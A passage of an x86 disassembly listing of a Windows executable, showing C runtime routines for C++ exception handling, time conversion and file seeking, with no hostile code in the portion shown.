		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421E8D
		add	esp, 20h
		jmp	short loc_421E5D
; ---------------------------------------------------------------------------


loc_421E88:				; CODE XREF: sub_421CE6+180j
		jmp	sub_42249C
sub_421CE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E8D	proc near		; CODE XREF: sub_421CE6+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4D97C0, 0
		push	esi
		push	edi
		jz	short loc_421EBE
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D13A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421F31


loc_421EBE:				; CODE XREF: sub_421E8D+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D263
		add	esp, 14h
		mov	esi, eax


loc_421EDA:				; CODE XREF: sub_421E8D+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421F31
		cmp	edi, [esi]
		jl	short loc_421F29
		cmp	edi, [esi+4]
		jg	short loc_421F29
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421F03
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421F29


loc_421F03:				; CODE XREF: sub_421E8D+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422046
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F29:				; CODE XREF: sub_421E8D+57j
					; sub_421E8D+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421EDA
; ---------------------------------------------------------------------------


loc_421F31:				; CODE XREF: sub_421E8D+2Fj
					; sub_421E8D+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421E8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F35	proc near		; CODE XREF: sub_421CE6+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_421F8C
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_421F8C
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_421F66
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421F88


loc_421F66:				; CODE XREF: sub_421F35+1Fj
		test	byte ptr [esi],	2
		jz	short loc_421F70
		test	byte ptr [edi],	8
		jz	short loc_421F88


loc_421F70:				; CODE XREF: sub_421F35+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_421F7F
		test	byte ptr [edi],	1
		jz	short loc_421F88


loc_421F7F:				; CODE XREF: sub_421F35+43j
		test	al, 2
		jz	short loc_421F8C
		test	byte ptr [edi],	2
		jnz	short loc_421F8C


loc_421F88:				; CODE XREF: sub_421F35+2Fj
					; sub_421F35+39j ...
		xor	eax, eax
		jmp	short loc_421F8F
; ---------------------------------------------------------------------------


loc_421F8C:				; CODE XREF: sub_421F35+Bj
					; sub_421F35+14j ...
		push	1
		pop	eax


loc_421F8F:				; CODE XREF: sub_421F35+55j
		pop	edi
		pop	esi
		retn
sub_421F35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F92	proc near		; CODE XREF: sub_421C4B+34p
					; ___:00422088p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427890
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_421FC4:				; CODE XREF: sub_421F92+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_42201E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_421FD3
		cmp	esi, [edi+4]
		jl	short loc_421FD8


loc_421FD3:				; CODE XREF: sub_421F92+3Aj
		call	sub_4224F2


loc_421FD8:				; CODE XREF: sub_421F92+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_421FF3
		push	103h
		push	ebx
		push	eax
		call	sub_422450


loc_421FF3:				; CODE XREF: sub_421F92+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422013
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_422030
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_422013:				; CODE XREF: sub_421F92+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_421FC4
; ---------------------------------------------------------------------------


loc_42201E:				; CODE XREF: sub_421F92+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421F92	endp


; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_421F92+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_422041
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_422041:				; CODE XREF: sub_422030+Cj
		jmp	sub_42249C
sub_422030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422046	proc near		; CODE XREF: sub_421CE6+151p
					; sub_421E8D+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422068
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4221F7
		add	esp, 10h


loc_422068:				; CODE XREF: sub_422046+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_422074
		push	edi
		jmp	short loc_422077
; ---------------------------------------------------------------------------


loc_422074:				; CODE XREF: sub_422046+29j
		push	[ebp+arg_24]


loc_422077:				; CODE XREF: sub_422046+2Cj
		call	sub_41D03C
sub_422046	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_421F92
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4220C1
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_4220BC
		push	edi
		push	eax
		call	sub_41CFFA


loc_4220BC:				; CODE XREF: ___:004220B3j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: ___:004220A9p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A0
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4D97B8
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4D97BC
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4D97B8, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4D97BC, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D0C1
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422187
		mov	eax, [ebp+var_2C]


loc_42214E:				; CODE XREF: sub_422167+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42215D	proc near		; DATA XREF: ___:004278B0o
		push	dword ptr [ebp-14h]
		call	sub_4221CD
		pop	ecx
		retn
sub_42215D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422167	proc near		; DATA XREF: ___:004278B4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D322
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_42214E
sub_422167	endp

; ---------------------------------------------------------------------------


loc_42217F:				; DATA XREF: ___:004278A8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422187	proc near		; CODE XREF: sub_4220C1+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4D97B8, eax
		mov	eax, [ebp-20h]
		mov	dword_4D97BC, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4221CC
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4221CC
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4221CC
		cmp	[ebp-24h], ebx
		jnz	short locret_4221CC
		cmp	[ebp-2Ch], ebx
		jz	short locret_4221CC
		call	sub_41D38A
		push	eax
		push	edi
		call	sub_4223BB
		pop	ecx
		pop	ecx

locret_4221CC:				; CODE XREF: sub_422187+1Cj
					; sub_422187+22j ...
		retn
sub_422187	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221CD	proc near		; CODE XREF: sub_42215D+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4221F4
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4221F4
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4221F4
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4221F4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4221F4:				; CODE XREF: sub_4221CD+Cj
					; sub_4221CD+12j ...
		xor	eax, eax
		retn
sub_4221CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221F7	proc near		; CODE XREF: sub_422046+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_4223A0
		cmp	byte ptr [eax+8], 0
		jz	loc_4223A0
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_4223A0
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422294
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422285:				; CODE XREF: sub_4221F7+F5j
		push	eax
		call	sub_422422
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_42239C
; ---------------------------------------------------------------------------


loc_422294:				; CODE XREF: sub_4221F7+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4222EE
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D400
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_42239C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42239C
		add	esi, 8
		push	esi
		jmp	short loc_422285
; ---------------------------------------------------------------------------


loc_4222EE:				; CODE XREF: sub_4221F7+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422336
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422422
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D400
		add	esp, 0Ch
		jmp	short loc_42239C
; ---------------------------------------------------------------------------


loc_422336:				; CODE XREF: sub_4221F7+103j
		call	sub_424680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		push	1
		push	edi
		call	sub_42469C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		push	dword ptr [esi+18h]
		call	sub_4246B8
		pop	ecx
		test	eax, eax
		jz	short loc_422397
		test	byte ptr [esi],	4
		jz	short loc_42237D
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422422
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D035
		jmp	short loc_42239C
; ---------------------------------------------------------------------------


loc_42237D:				; CODE XREF: sub_4221F7+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422422
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D02E
		jmp	short loc_42239C
; ---------------------------------------------------------------------------


loc_422397:				; CODE XREF: sub_4221F7+6Aj
					; sub_4221F7+7Cj ...
		call	sub_4224F2


loc_42239C:				; CODE XREF: sub_4221F7+98j
					; sub_4221F7+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_4223A0:				; CODE XREF: sub_4221F7+2Ej
					; sub_4221F7+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221F7	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42249C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223BB	proc near		; CODE XREF: sub_421CE6+170p
					; sub_422187+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422402
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422402
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D02E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422402:				; CODE XREF: sub_4223BB+2Aj
					; sub_4223BB+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4223BB	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42249C

; =============== S U B	R O U T	I N E =======================================



sub_422422	proc near		; CODE XREF: sub_4221F7+8Fp
					; sub_4221F7+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422443
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422443:				; CODE XREF: sub_422422+12j
		pop	esi
		retn
sub_422422	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422450	proc near		; CODE XREF: sub_41D0C1+40p
					; sub_421F92+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D3AD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42248F
		mov	ecx, 2


loc_42248F:				; CODE XREF: sub_422450+38j
		push	ecx
		call	sub_41D3AD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42249C	proc near		; CODE XREF: sub_421CE6:loc_421E88j
					; sub_422030:loc_422041j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004246D0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4D97C4
		test	eax, eax
		jz	short loc_4224E4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4224E0
; ---------------------------------------------------------------------------


loc_4224D9:				; DATA XREF: ___:004278E8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4224DD:				; DATA XREF: ___:004278ECo
		mov	esp, [ebp+var_18]


loc_4224E0:				; CODE XREF: sub_42249C+3Bj
		and	[ebp+var_4], 0


loc_4224E4:				; CODE XREF: sub_42249C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4224ED:				; DATA XREF: ___:004278E0o
		jmp	loc_4246D0
sub_42249C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224F2	proc near		; CODE XREF: sub_41D263+23p
					; sub_41D263:loc_41D2CEp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43AC54
		test	eax, eax
		jz	short loc_42253A
		mov	[ebp+var_4], 1
		call	eax ; sub_42249C
		jmp	short loc_422536
; ---------------------------------------------------------------------------


loc_42252F:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422533:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422536:				; CODE XREF: sub_4224F2+3Bj
		and	[ebp+var_4], 0


loc_42253A:				; CODE XREF: sub_4224F2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422543:				; DATA XREF: ___:004278F8o
		jmp	sub_42249C
sub_4224F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422548	proc near		; CODE XREF: sub_41D743+7p
					; sub_41D743+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41E477
		test	eax, eax
		pop	ecx
		jz	short loc_422560
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_422560:				; CODE XREF: sub_422548+Ej
		push	esi
		push	0
		push	dword_4DADA0
		call	near ptr 264100Eh
		nop
		pop	esi
		retn
sub_422548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422571	proc near		; CODE XREF: sub_41D81B+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_42262D
		cmp	ebx, 8Ah
		jg	loc_42262D
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43B11C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4225B0
		cmp	edi, 2
		jle	short loc_4225B0
		inc	esi


loc_4225B0:				; CODE XREF: sub_422571+37j
					; sub_422571+3Cj
		call	sub_4246E7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43B038
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_422623
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422629
		cmp	dword_43B03C, 0
		jz	short loc_422629
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42495A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422629


loc_422623:				; CODE XREF: sub_422571+90j
		add	ecx, dword_43B040


loc_422629:				; CODE XREF: sub_422571+96j
					; sub_422571+9Fj ...
		mov	eax, ecx
		jmp	short loc_422630
; ---------------------------------------------------------------------------


loc_42262D:				; CODE XREF: sub_422571+13j
					; sub_422571+1Fj
		or	eax, 0FFFFFFFFh


loc_422630:				; CODE XREF: sub_422571+BAj
		pop	ebx
		leave
		retn
sub_422571	endp


; =============== S U B	R O U T	I N E =======================================



sub_422633	proc near		; CODE XREF: ___:0041D9F3p
					; sub_41F051+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DAB60
		push	esi
		push	edi
		jnb	short loc_4226B5
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DAA60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4226B5
		push	eax
		call	sub_4237AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422677
		mov	dword_4D9714, 9
		jmp	short loc_4226C6
; ---------------------------------------------------------------------------


loc_422677:				; CODE XREF: sub_422633+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2791104h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422697
		nop
		call	near ptr 2680DCDh
		jmp	short loc_422699
; ---------------------------------------------------------------------------


loc_422697:				; CODE XREF: sub_422633+5Aj
		xor	eax, eax


loc_422699:				; CODE XREF: sub_422633+62j
		test	eax, eax
		jz	short loc_4226A6
		push	eax
		call	sub_420314
		pop	ecx
		jmp	short loc_4226C6
; ---------------------------------------------------------------------------


loc_4226A6:				; CODE XREF: sub_422633+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4226C9
; ---------------------------------------------------------------------------


loc_4226B5:				; CODE XREF: sub_422633+Dj
					; sub_422633+2Aj
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_4226C6:				; CODE XREF: sub_422633+42j
					; sub_422633+71j
		or	eax, 0FFFFFFFFh


loc_4226C9:				; CODE XREF: sub_422633+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226CD	proc near		; CODE XREF: ___:0041D9B6p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4226E9
		mov	[edi+4], ebx


loc_4226E9:				; CODE XREF: sub_4226CD+17j
		push	1
		push	ebx
		push	esi
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_422757
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_42270E
		sub	eax, [edi+4]
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_42270E:				; CODE XREF: sub_4226CD+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422748
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DAA60[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_42275F
		mov	edx, ecx


loc_422739:				; CODE XREF: sub_4226CD+79j
		cmp	edx, eax
		jnb	short loc_42275F
